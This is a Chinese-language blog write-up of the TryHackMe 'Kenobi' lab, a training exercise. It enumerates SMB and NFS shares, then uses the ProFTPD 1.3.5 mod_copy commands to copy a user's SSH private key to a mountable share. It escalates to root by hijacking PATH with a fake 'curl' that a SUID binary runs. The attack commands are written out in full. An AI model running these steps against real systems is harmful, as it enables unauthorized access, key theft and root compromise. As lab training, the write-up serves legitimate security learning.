TryHackMe - Kenobi

文章详细描述了在TryHackMe平台上,通过枚举Samba共享获取网络信息,利用ProFTPD版本漏洞进行权限提升,以及通过路径变量操作进行特权escalation的过程,展示了Linux渗透测试中的关键步骤和技术应用。
摘要由CSDN通过智能技术生成

本文相关的TryHackMe实验房间链接:TryHackMe

本文相关内容:针对Linux目标机器,通过枚举Samba来获得网络共享信息,然后利用proftpd的版本漏洞,并通过Path变量来执行权限提升操作。

Task 1 : Deploy the vulnerable machine(部署易受攻击的机器)

1、端口扫描

使用nmap扫描目标:

nmap -sC -sV -A 10.10.104.54 

2、答题

Task 2 : Enumerating Samba for shares(枚举 Samba 共享)

        Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。

        SMB(Server Messages Block-服务器信息块)协议是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是C/S型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。

        SMB协议有两个端口:139和445。

        Samba监听端口有:TCP和UDP------tcp端口相对应的服务是smbd服务,其作用是提供对服务器中文件、打印资源的共享访问;udp端口相对应的服务是nmbd服务,其作用是提供基于NetBIOS主机名称的解析。

1、nmap枚举SMB

        nmap有一个用于枚举SMB共享的脚本,使用 nmap,我们可以枚举一台机器的SMB 共享

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.104.54

2、匿名连接

使用smbclient命令,可以匿名连接目标机的SMB共享,从而查看共享系统上的文件

smbclient //10.10.104.54/anonymous  #不用输密码,直接回车即可

也可以用smbget命令,通过匿名用户递归下载,将整个SMB 共享系统中的文件下载到本地查看

smbget -R smb://10.10.104.54/anonymous

3、查看log.txt

打开共享上的文件。发现了一些有趣的事情。

  • 为用户生成 SSH 密钥时为 Kenobi 生成的信息-“Kenobi用户的ssh密钥”-保存在/home/kenobi/.ssh路径下
  • 有关 ProFTPD 服务器的信息( 运行FTP服务的用户是 Kenobi)

之前的 nmap 端口扫描将显示端口 111 正在运行 rpcbind 服务。这只是一个将远程过程调用(RPC)程序号转换为通用地址的服务器。当一个RPC服务启动时,它会告诉rpcbind它正在监听的地址以及它准备服务的RPC程序号。 

在我们的例子中,端口 111 用于访问网络文件系统。让我们使用 nmap 来枚举它。

4、枚举nfs信息

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.104.54

5、答题

Task 3 : Gain initial access with ProFtpd(使用 ProFtpd 获得初始访问权限)

ProFtpd是一个免费、开源的FTP服务器,兼容Unix和Windows系统。它在过去的软件版本中也存在漏洞。

1、ProFtpd 的版本

由第Task 1 的端口扫描结果可知,目标机上的ProFtpd 的版本是1.3.5,在攻击机上使用netcat连接目标机的ftp服务器也可以获取到ProFtpd的版本信息:

nc 10.10.104.54 21   #目标机的ftp服务运行在21端口上

2、查找ProFTPd漏洞

我们可以使用 searchsploit 来查找特定软件版本的漏洞。

Searchsploit 基本上只是exploit-db.com 的命令行搜索工具。

可以看到,该版本ProFtpd的mod_copy模块中存在漏洞。

mod_copy模块实现了SITE CPFR 和 SITE CPTO 命令(类似于 RNFR 和 RNTO) ,这些命令可以用来将文件/目录从服务器上的一个地方复制到另一个地方,而无需将数据传输到客户端并等待返回(无身份验证),该模块包含在 ProFTPD 1.3.x 的 mod_copy.c 文件中,默认情况下不进行编译。

也就是说:任何未经身份验证的客户机都可以利用SITE CPFR 和 SITE CPTO 命令,将文件从FTP服务器的文件系统的任何位置复制到选定的位置。

由之前的信息我们知道:Kenobi是运行FTP服务的用户、Kenobi用户的ssh密钥保存路径。

现在我们将使用 SITE CPFR 和 SITE CPTO 命令复制Kenobi的ssh私钥,我们将私钥复制到NFS所挂载的目录下,后继我们就能获取到这个私钥文件:

nc 10.10.104.54 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa    #将密钥复制到NFS所挂载的/var目录下

然后我们把目标机的/var/tmp 目录挂载到我们的攻击机上:

mkdir /mnt/kenobiNFS
mount 10.10.104.54:/var /mnt/kenobiNFS   #此处是目标机ip ! 挂载完成后:目标机/var下的所有文件,都将y映射在在攻击机的/mnt/kenobiNFS目录下
ls -la /mnt/kenobiNFS

3、查看Kenobi 的用户标志

复制Kenobi的ssh私钥到攻击机当前目录,然后ssh登录到 Kenobi 的帐户,查看标志性文件:

4、答题

Task 4 : Privilege Escalation with Path Variable Manipulation(通过路径变量操作进行权限提升)

SUID 位可能很危险,某些二进制文件(例如 passwd)需要以提升的权限运行(因为它会重置系统上的密码),但是其他具有 SUID 位的自定义文件可能会导致各种问题。

1、搜索SUID/SGID类型的文件

要在系统中搜索这些类型的文件,请运行以下命令:

find / -perm -u=s -type f 2>/dev/null

2、执行/usr/bin/menu

找出看起来很不寻常的文件/usr/bin/menu ,并尝试执行它:

strings 是 Linux 上的一个命令,它能在二进制文件上查找人类可读的字符串,我们使用以下命令来查看/usr/bin/menu运行时的信息(因为执行menu命令时有文字回显,我们才使用strings命令):

strings /usr/bin/menu

观察上图可以得知:当我们执行/usr/bin/menu 时,选择选项1其实是在执行一个curl命令,选择选项2其实是在执行uname -r命令。

这表明二进制文件curl和uname,是在没有完整路径的情况下运行的(例如没有使用/usr/bin/curl 或/usr/bin/uname运行文件)。

我们已经知道/usr/bin/menu文件是一个SUID文件,它在执行时会暂时具有root 用户权限,我们可以尝试自定义创建一个curl文件(并写入/bin/bash,意思是打开一个bash shell),然后我们再给自定义的curl文件附加可执行权限(+x),接着将自定义的curl文件所在的路径添加到PATH变量中(这样能够保证我们自定义的curl文件能够被首先找到)。

完成以上操作之后,执行SUID文件/usr/bin/menu,产生的效果是:以root权限打开一个bash shell-----这将获得root shell

cd /tmp
echo /bin/bash > curl
chmod +x curl
export PATH=/tmp:$PATH   # 新添加的路径/tmp会在PATH变量的最前面,这样就能用我们伪造的curl文件代替真实的curl文件,保证自定义的curl文件被成功执行
/usr/bin/menu            # 在跳出选项时,我们选择选项1,这样就能调用到伪造的curl文件
ls /root/
cat /root/root.txt

3、答题

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值